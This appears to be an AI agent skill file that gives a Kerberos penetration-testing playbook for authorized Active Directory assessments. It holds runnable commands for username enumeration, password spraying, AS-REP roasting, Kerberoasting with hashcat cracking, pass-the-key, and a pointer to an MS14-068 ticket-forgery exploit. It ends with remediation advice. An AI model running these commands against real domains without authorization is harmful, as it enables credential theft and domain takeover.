pentesting-kerberos
$
npx mdskill add xalgord/xalgorix/pentesting-kerberos- During authorized Active Directory assessments when TCP/UDP 88 is open (a domain controller) - When you need to enumerate valid usernames without authentication - When testing for AS-REP roastable accounts (no Kerberos pre-auth) and Kerberoastable service accounts - When NTLM is disabled and you must authenticate to SMB/WinRM/etc. via Kerberos (ccache TGT) - When validating credentials via password spraying with low lockout risk
SKILL.md
.github/skills/pentesting-kerberosView on GitHub ↗
--- name: pentesting-kerberos description: Testing the Kerberos authentication service (88/tcp and 88/udp) in Active Directory during authorized engagements. Covers username enumeration (kerbrute, nmap krb5-enum-users), AS-REP roasting of accounts without pre-auth, Kerberoasting service accounts (GetUserSPNs), password spraying, TGT acquisition (kinit) for Kerberos-only environments, krb5.conf generation, clock-skew handling, and MS14-068 ticket forgery. domain: cybersecurity subdomain: network-services-pentesting tags: - penetration-testing - network-services - kerberos - active-directory - as-rep-roast - kerberoast version: '1.0' author: xalgorix license: Apache-2.0 --- # Pentesting Kerberos (port 88) ## When to Use - During authorized Active Directory assessments when TCP/UDP 88 is open (a domain controller) - When you need to enumerate valid usernames without authentication - When testing for AS-REP roastable accounts (no Kerberos pre-auth) and Kerberoastable service accounts - When NTLM is disabled and you must authenticate to SMB/WinRM/etc. via Kerberos (ccache TGT) - When validating credentials via password spraying with low lockout risk ## Quick Enumeration ```bash # Confirm Kerberos / identify the DC nmap -p88 -sV <IP> # Expected: 88/tcp open kerberos-sec # Username enumeration (no creds) — AS-REQ probing nmap -p88 --script krb5-enum-users \ --script-args krb5-enum-users.realm='DOMAIN.LOCAL',userdb=users.txt <IP> kerbrute userenum -d domain.local --dc <DC_IP> users.txt # Shodan-style discovery # port:88 kerberos ``` ## Critical: Checks Most Often Missed 1. **AS-REP roasting (no pre-auth)** — accounts with `DONT_REQ_PREAUTH` set return an AS-REP encrypted with the user's key, crackable offline with no valid creds required. 2. **Kerberoasting** — any authenticated user can request service tickets (TGS) for accounts with SPNs; the ticket is encrypted with the service account's NTLM hash and crackable offline. 3. **Clock skew is mandatory** — a host clock off by more than ~5 minutes causes `KRB_AP_ERR_SKEW` and every Kerberos auth fails silently. Sync to the DC first. 4. **NTLM-disabled environments** — NTLM attempts return `STATUS_NOT_SUPPORTED`; you must force Kerberos (`-k`) with a valid ccache TGT. 5. **MS14-068 (KB3011780)** — lets an attacker forge a PAC claiming Domain Admin privileges, validated by an unpatched DC. Critical if present. 6. **SPN/FQDN mismatch** — GSSAPI/Kerberos auth requires the exact FQDN matching the host SPN, or you get "Server not found in Kerberos database." Fix `/etc/hosts` ordering. How to CONFIRM: username enumeration is confirmed when `kerbrute userenum` prints `[+] VALID USERNAME`. AS-REP roastability is confirmed when `GetNPUsers.py` returns a `$krb5asrep$` hash. Kerberoastability is confirmed when `GetUserSPNs.py -request` returns a `$krb5tgs$` hash. ## Workflow ### Step 1: Enumerate (valid usernames, realm) ```bash # Brute-force valid usernames against the DC (no creds) kerbrute userenum -d domain.local --dc <DC_IP> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt nmap -p88 --script krb5-enum-users \ --script-args krb5-enum-users.realm='DOMAIN.LOCAL',userdb=users.txt <DC_IP> ``` ### Step 2: Pre-auth attacks (AS-REP roast, spray) ```bash # AS-REP roast — accounts with no pre-auth, NO valid creds needed GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <DC_IP> -format hashcat -outputfile asrep.hash # Crack hashcat -m 18200 asrep.hash wordlist.txt # Password spray with kerbrute (low lockout impact, mind the policy) kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Spring2024!' ``` ### Step 3: Exploit / Extract (Kerberoast, TGT) ```bash # Kerberoast — request TGS for all SPN accounts (needs ANY valid creds) GetUserSPNs.py -request -dc-ip <DC_IP> domain.local/<user>:<pass> -outputfile kerberoast.hash # Crack service-account hashes offline hashcat -m 13100 kerberoast.hash wordlist.txt # Obtain a TGT for Kerberos-only auth sudo ntpdate <dc.fqdn> # avoid KRB_AP_ERR_SKEW netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf kinit <user> # request TGT klist # verify ccache ``` ### Step 4: Post-access / lateral movement ```bash # Use the TGT (no password sent) with SMB/WinRM tooling netexec smb <dc.fqdn> -k smbclient --kerberos //<dc.fqdn>/IPC$ ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> # GSSAPI SSO (match SPN FQDN) # Request a TGT from a hash/aesKey for pass-the-key getTGT.py domain.local/<user> -hashes :<NTHASH> export KRB5CCNAME=<user>.ccache # MS14-068 ticket forgery (authorized, unpatched DC only) # https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek ``` ## Key Concepts | Concept | Description | |---------|-------------| | **TGT** | Ticket Granting Ticket issued by the KDC after authentication; proves identity | | **TGS** | Service ticket granting access to a specific service (SPN) | | **Pre-authentication** | AS-REQ timestamp encryption; disabling it enables AS-REP roasting | | **AS-REP roasting** | Cracking the AS-REP of a no-pre-auth account offline (no creds needed) | | **Kerberoasting** | Requesting TGS for SPN accounts and cracking the service account hash offline | | **SPN** | Service Principal Name; identifies a service instance for Kerberos | | **ccache** | Credential cache file storing tickets (`KRB5CCNAME` points to it) | | **KRB_AP_ERR_SKEW** | Failure caused by clock drift > ~5 minutes vs the DC | | **MS14-068** | PAC forgery flaw allowing privilege escalation to Domain Admin | ## Tools & Systems | Tool | Purpose | |------|---------| | **kerbrute** | Fast username enumeration and password spraying via Kerberos | | **nmap krb5-enum-users** | Username enumeration NSE script | | **impacket GetNPUsers.py** | AS-REP roasting | | **impacket GetUserSPNs.py** | Kerberoasting (request TGS for SPN accounts) | | **impacket getTGT.py / -k** | TGT acquisition and Kerberos auth for other tooling | | **netexec / crackmapexec** | krb5.conf generation, Kerberos auth, spraying | | **kinit / klist** | Request and inspect TGTs (MIT Kerberos) | | **hashcat** | Crack $krb5asrep$ (18200) and $krb5tgs$ (13100) hashes | ## Common Scenarios ### Scenario 1: AS-REP Roast Without Creds A user list reveals an account with pre-auth disabled. `GetNPUsers.py -no-pass` returns a `$krb5asrep$` hash cracked offline, yielding the first valid domain credential. ### Scenario 2: Kerberoast to Domain Escalation With any low-priv credential, `GetUserSPNs.py -request` returns a service account's `$krb5tgs$` hash. The weak service password cracks, and the account turns out to be a member of a privileged group. ### Scenario 3: Kerberos-Only SMB Access NTLM is disabled (`STATUS_NOT_SUPPORTED`). After syncing the clock and running `kinit`, `netexec smb <dc> -k` authenticates with the ccache TGT and lists shares. ### Scenario 4: Password Spray `kerbrute passwordspray` against an enumerated user list finds one account using a seasonal password, providing initial domain access with minimal lockout risk. ## Output Format ``` ## Kerberos Finding **Service**: Kerberos (Active Directory KDC) **Severity**: <Critical|High|Medium> **Host**: <DC_IP>:88 **Realm/Domain**: <DOMAIN.LOCAL> ### Summary <What was found: enumerated users, AS-REP roastable account, Kerberoastable SPN, MS14-068, weak password> ### Affected Accounts | Account | Issue | Crackable | Notes | |---------|-------|-----------|-------| | svc_sql | SPN set (Kerberoast) | yes | weak password recovered | | jdoe | no pre-auth (AS-REP) | yes | DONT_REQ_PREAUTH set | ### Evidence - Command: <GetUserSPNs.py / GetNPUsers.py / kerbrute> - Output: <$krb5tgs$ / $krb5asrep$ hash prefix, VALID USERNAME lines> ### Recommendation 1. Enable Kerberos pre-authentication on all accounts 2. Use long random passwords (gMSA) for service accounts with SPNs 3. Patch MS14-068 (KB3011780) on all domain controllers 4. Monitor for anomalous TGS requests (Kerberoasting) and AS-REP roasting 5. Enforce a strong password policy and account lockout thresholds ```